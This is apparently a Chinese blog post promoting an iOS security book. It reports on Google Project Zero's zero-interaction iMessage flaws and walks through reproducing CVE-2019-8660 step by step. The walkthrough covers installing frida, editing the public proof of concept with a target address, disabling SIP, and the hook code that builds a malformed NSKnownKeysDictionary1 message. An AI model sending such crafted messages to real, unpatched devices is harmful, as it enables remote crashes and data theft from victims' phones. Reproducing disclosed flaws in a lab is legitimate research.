安全专家十年磨一剑的独门秘笈,威力堪比《九阴真经》

640?wx_fmt=jpeg

“天之道,损有余而力不足,是故虚胜实,不足胜有余......”

公元 1206 年,武林中的几位侠客聚集华山,为一统武林展开了一场七天七夜的切磋,史称华山论剑。参赛选手阵势庞大,东邪黄药师、西毒欧阳锋、南帝段大师、北丐洪七公、中神通王重阳都亲临现场。而他们此次还有一个目的,就是争夺武林秘籍《九阴真经》的所有权。最后,王重阳得到了此资格,从此江湖平静了一阵子。

《九阴真经》为何物?它是影响三代江湖的武功秘籍。各路大侠都曾修炼过,虽没见谁练成,可都因为练它积攒了内力,从而开发研制了其他更上乘的武功招式。

当然,功力练得好,可以像郭靖一样练成降龙十八掌,从此人生开挂。如果练得不好就只能像梅超风一样,活生生把自己从好人练成了坏人,俗称“走火入魔”。所以,练功除了秘笈重要,也要用对方法。

几千年后的今年,华山论剑的场景变为了我们的写字间,而神功也已经不再是打打杀杀,是通过技术水平来刷新世界排位。

《九阴真经》的作者黄裳,为报当年之仇,隐居 40 多年,苦思破解敌人武功之道,最终成为高手。而如今,有这样一群人,为保自家程序稳定不受侵害,破解程序秘密,修复程序漏洞。这些就是我们的安全人士了。

谷歌就有这样的一个团队,叫做 Project Zero,专为第三方软件寻找漏洞。他们不是为了利用这些漏洞报复对方,相反他们要对三方软件开发商发出警告,以避免被恶意利用。这不,他们最近就发现了友商 iOS 的一些漏洞。

640?wx_fmt=jpeg

iOS 漏洞频发

据美国科技媒体报道,谷歌 Project Zero 安全团队的两名成员公布了影响 iOS 系统的 6 个“无交互”安全漏洞,并公布了其中 5 个安全漏洞的详细信息。

据报道,这 6 个“无交互”安全漏洞可以通过 iMessage 客户端发动攻击。早前苹果发布了 iOS 12.4 版本,修复了 6 个安全漏洞。可是其中一个“无交互”漏洞的细节此次并没有公布,是因为 iOS 12.4 补丁还没有完全解决问题。

这 6 个安全漏洞中的 4 个,可以无需用户交互即可在远程 iOS 设备上执行恶意代码。攻击者只要向受害者的手机发送一条“错误格式”的消息,一旦用户打开并查看接收到的项目,恶意代码就会被执行。

而第 5 个和第 6 个漏洞允许攻击者从设备内存中泄漏数据,并从远程设备读取文件,同样无需用户干预。

日前,据《福布斯》报道称,苹果公司将为安全研究人员提供特别版 iPhone,让他们去寻找 iOS 的 bug。苹果也将在黑帽安全会议上宣布这一消息。

一位消息人士称,这些设备本质上将是“开发设备”。这种 iPhone 与传统锁定的 iPhone 相比,能做更多的事情。例如,可能会探测到苹果操作系统中在商用 iPhone 上不易访问的部分。值得一提的是,这种特殊的设备可以让黑客停止处理器并检查内存中的漏洞。

外媒还称,苹果还将推出 Mac 赏金计划。这类似于 iOS 漏洞赏金,奖励在 MacOS 中发现漏洞的研究人员。

640?wx_fmt=jpeg

 iOS 安全漏洞复现

既然被公布出来的漏洞这么凶猛,如何复现这些漏洞应该是大家都比较关注的问题。

CVE-2019-8660、 CVE-2019-8662、 CVE-2019-8647 这三个漏洞可以导致系统重启,或者任意代码执行。

CVE-2019-8646 这个漏洞可以导致任意文件读取,比如发送 iMessage 信息到目标机,可以获取到目标机的照片。

CVE-2019-8641 这个漏洞由于在最新的 12.4 系统上未修复,所以并未公布具体细节。其他 4 个漏洞已经在 12.4 修复。

复现漏洞

首先我们以 CVE-2019-8660 为例复现漏洞,其他几个漏洞的复现方式类似。在测试之前,请打开 iOS 设备上的 iMessage 的消息接收。

方法是:点击设置 -> 信息 -> 打开 iMessage 信息开关。下面是复现漏洞的具体步骤:

(1) 安装 Python 3

brew install python3

(2) 安装 frida

pip3 install frida

(3) 下载并解压 POC,下载地址是:https://bugs.chromium.org/p/project-zero/issues/attachmentaid=398583&signed_aid=aRa647CnzpRUCj7nXIOEKA==。

(4) 将 sendMessage.py 里的 receiver 替换成目标邮箱地址。

#receiver = "YOUR EMAIL"	
receiver = "exchen99@foxmail.com"

(5) 将 injectMessage.js 里的 obj 文件的路径填写成你本机的。

//var d = ObjC.classes.NSData.dataWith	
ContentsOfFile_("PATH/obj");	
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");

(6)  需要关闭 SIP (System Integrity Protection,系统完整性保护)。

方法是重启按住 Commond + R 进入 recovery 模式,在实用工具里打开终端,输入 csrutil disable 即可禁用 SIP,然后重启进入正常模式。测试完漏洞之后别忘记打开 SIP,方法是:进入 recovery 模式,输入 csrutil enable。如果没有这一步操作,frida 注入进程可能会失败。

(7) 最后执行sendMessage.py发送iMessage,只要目标机接收到 iMessage 消息即可以触发漏洞,并不需要点击查看。

python3 sendMessage.py

触发漏洞的目标机重启之后,打开短信应用会闪退,原因是之前测试的那条带漏洞的 iMessage 消息还存在,会被短信应用加载,加载错误就闪退了。解决的方法是给目标机多发送几条正常的信息,这样会覆盖掉带漏洞的短信,然后在搜索栏输入关键字定位到有问题的短信,删除即可。

POC 的实现原理

POC 的实现原理是使用 AppleScript 调用 MacOS 的信息应用对目标发送 iMessage 消息,其中使用frida对 jwencodedictionary_addr 函数进行 Hook,修改原始的消息体结构。在 injectMessage.js 里有构造带有漏洞的 iMessage 消息体的代码,核心代码如下:

console.log(dict);  //打印原始正常的消息体	
//对正常的消息体进行修改,构造带有漏洞的消息体	
var newDict = ObjC.classes.NSMutableDictionary.dictionaryWithCapacity_(dict.count());	
var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/exchen/Downloads/knownkeydict/obj");	
console.log(d);  //打印obj文件	
newDict.setObject_forKey_("com.apple.messages.MSMessageExtensionBalloonPlugin:0000000000:com.apple.mobileslideshow.PhotosMessagesApp", "bid");	
newDict.setObject_forKey_(d, "bp");  //obj文件	
// newDict.setObject_forKey_("com.apple.messages.URLBalloonProvider", "bid");	
newDict.setObject_forKey_(8, "gv");	
newDict.setObject_forKey_(0, "pv");	
newDict.setObject_forKey_(1, "v");	
newDict.setObject_forKey_("FAA29682-27A6-498D-8170-CC92F2077441", "gid");	
newDict.setObject_forKey_(d, "bp");	
newDict.setObject_forKey_("CB2F0B8D-84F6-480E-9079-27DA53E14EBD", "r");	
newDict.setObject_forKey_(1, "v");	
newDict.setObject_forKey_("\Ufffd\Ufffc", "t");	
args[0] = newDict.handle;

替换的iMessage消息体会放入obj文件,obj文件里有一个 NSKnownKeyDictionary1 对象,正是因为解析 NSKnownKeyDictionary1 对象时引发问题造成的漏洞的触发。

<dict>	
    <key>$classes</key>	
    <array>	
        <string>NSDictionary</string>	
        <string>NSObject</string>	
    </array>	
    <key>$classname</key>	
    <string>NSKnownKeysDictionary1</string>	
</dict>	
<dict>	
    <key>$classes</key>	
    <array>	
        <string>NSKnownKeysMappingStrategy1</string>	
        <string>NSObject</string>	
    </array>	
    <key>$classname</key>	
    <string>NSKnownKeysMappingStrategy1</string>	
</dict>	
<string>i am very long indeed</string>	
<dict>

上面的 obj 文件实际上是 Archive (归档)文件, 通过 NSKeyedArchiver 里的方法可以构造 Archive 文件,示例如下:

NSDictionary* obj = @{@"testKey": @"testValue", @"testArray":@[@100, @200, @300], @"testDict":@{@"dictKey":@"dictValue"}};	
NSData* data = [NSKeyedArchiver archivedDataWithRootObject:obj requiringSecureCoding:true error:&err];	
if (!data) {	
    NSLog(@"Error: %@", err);	
    return;	
}	
[data writeToFile:@"/Users/exchen/Downloads/archive_test" atomically:YES];

iMessage的消息内容是在 sendMessage.py,我们可以替换 REPLACEME 发送自定义的消息,

subprocess.call(["osascript", "sendMessage.applescript", receiver, "REPLACEME"]

然后在 injectMessage.js 中也需要将 REPLACEME 保持和自定义的消息内容一致。

if (t == "REPLACEME")

不知道你都看懂了吗?

640?wx_fmt=jpeg

iOS 安全界的《九阴真经》

苹果公司自建立这套封闭的生态圈以来,所有的应用都必须从 App Store 上下载。在这个平台上,每天都有几千个应用遭遇下架,不少公司都因为上架问题而焦头烂额。这个封闭的生态圈堪称苹果公司设计的“监狱”。

苹果手机越狱之后,不仅有机会脱离封闭的限制,还能挖掘出更多的玩法,从而形成一个新的生态圈。比如,不少人都希望一台手机能模拟出多台设备的环境,但是目前为止还没有一款 iOS 虚拟机,越狱之后可以对系统 API 进行 hook ,对沙盒文件进行修改,应用获取到的都是修改后的数据。这对于应用来说,达到了虚拟机的效果。

本书讨论的正是这个新的生态圈会有什么样的安全问题,又如何去解决它们。是每个安全人士变强路上不可获取的武林内力。

640?wx_fmt=png

资深安全专家十年磨一剑, 

助你“功力大增”的武林秘笈

640?wx_fmt=jpeg

扫一扫,京东购

《九阴真经:iOS黑客攻防秘籍》

作者:陈德

本书从越狱环境的开发与逆向相关工具的基本内容讲起,涉及汇编基础、动态调试、静态分析、注入与 hook、文件格式等内容。还有应用破解与应用保护、隐私获取与取证、刷量与作弊、唯一设备 ID、写壳内幕等多个主题。由《黑客防线》技术月刊原总编辑孙彬与数字联盟 CTO 张宇平作序,获得圈内多位安全从业者倾力推荐, 立足系统,着眼安全,系统地学习 iOS 安全技术 。

作者简介

陈德,资深安全专家,软件安全研究员,陌陌安全团队成员。2007 年开始自学安全技术,精通安全领域多方面技术。

个人作品有 eXfaker、FileMonitorKit 和 SystemKit 等,其博客地址为:http://www.exchen.net

本书赞誉

“拿到手就能用,这本书做到了。用我们一般程序员甚至刚上手想当码农吃吃青春饭的人的角度来看,本书在技术上削平了认知壁垒。”

——孙彬

《黑客防线》技术月刊原总编辑

PS:一点小八卦

在文前致谢里看到作者的一段感人肺腑的文字,也祝愿天下奋斗在技术路上的人儿都能有情人终成眷属。

640?wx_fmt=png

文末畅聊

今天是七夕,首先祝福各位 Alice 和 Bob 们节日快乐。呐!单身狗们一样可以狂欢,因为我们有快乐水和书呀!欢迎小伙伴们留言说说使用手机时,你都曾遇到过哪些信息安全问题?也可以谈谈哪些让你印象深刻的武林秘笈。精选留言选出 5 位获得赠书,活动截至:2019.8.12。

推荐阅读:

8月书讯 | 像大师级程序员一样思考

程序员,勿让岁月偷走你年轻的秀发!

看懂了这套书,你就看懂了程序的灵魂。

参考资料:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1884

https://bugs.chromium.org/p/project-zero/issues/detail?id=1874

https://bugs.chromium.org/p/project-zero/issues/detail?id=1873

https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

☟☟ 图灵安全书单

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值